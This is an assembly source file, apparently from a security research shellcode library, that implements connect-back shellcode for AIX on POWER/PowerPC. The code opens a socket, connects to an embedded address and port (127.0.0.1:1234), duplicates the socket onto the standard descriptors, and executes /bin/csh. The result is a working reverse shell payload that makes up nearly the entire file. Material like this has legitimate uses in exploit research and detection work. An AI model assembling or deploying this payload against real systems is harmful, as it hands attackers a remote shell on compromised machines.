126 lines
2.7 KiB
ArmAsm
126 lines
2.7 KiB
ArmAsm
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/*
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* $Id: aix-power-cntsockcode.S 6 2008-09-10 17:27:50Z ramon $
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*
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* aix-power-cntsockcode.S - AIX POWER/PowerPC Network connect code
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* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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/*
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* Compile with the following command.
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* $ gcc -Wall -DVERSION -o aix-power-cntsockcode aix-power-cntsockcode.S
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*
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* Where VERSION is one of the currently supported AIX versions.
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* -DV41 AIX 4.1
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* -DV42 AIX 4.2
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* -DV43 AIX 4.3
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* -DV4330 AIX 4.3.3.0
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* -DV53 AIX 5.3
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*
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*/
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#include "aix-power.h"
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.globl .main
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.csect .text[PR]
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.main:
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syscallcode:
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# xor. %r31,%r31,%r31
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xor. %r5,%r5,%r5
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bnel syscallcode
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mflr %r30
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cal %r30,511(%r30)
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cal %r30,-475(%r30)
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mtctr %r30
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bctr
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.long 0xff0204d2
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.long 0x7f000001
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crorc %cr6,%cr6,%cr6
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.long 0x44ffff02
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cal %r30,-8(%r30)
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cntsockcode:
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# socket
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lil %r29,__CAL
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# xor %r5,%r5,%r5
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cal %r4,-510(%r29)
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cal %r3,-509(%r29)
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cal %r2,__NC_socket(%r29)
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mtctr %r30
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bctrl
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mr %r28,%r3
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# connect
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cal %r5,-495(%r29)
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cal %r4,-8(%r30)
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cal %r2,__NC_connect(%r29)
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mtctr %r30
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bctrl
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# close
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cal %r27,-509(%r29)
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0:
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mr %r3,%r27
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cal %r2,__NC_close(%r29)
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mtctr %r30
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bctrl
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# kfcntl
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mr %r5,%r27
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xor %r4,%r4,%r4
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mr %r3,%r28
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cal %r2,__NC_kfcntl(%r29)
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mtctr %r30
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bctrl
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ai. %r27,%r27,-1
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bge 0b
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shellcode:
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# lil %r31,__CAL
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xor. %r5,%r5,%r5
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bnel shellcode
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# mflr %r30
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# cal %r30,511(%r30)
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# cal %r3,-475(%r30)
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mflr %r26
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cal %r26,511(%r26)
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cal %r3,-475(%r26)
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stu %r5,-4(%r1)
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stu %r3,-4(%r1)
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mr %r4,%r1
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# cal %r2,__NC_execve(%r31)
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cal %r2,__NC_execve(%r29)
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mtctr %r30
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bctr
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.asciz "/bin/csh"
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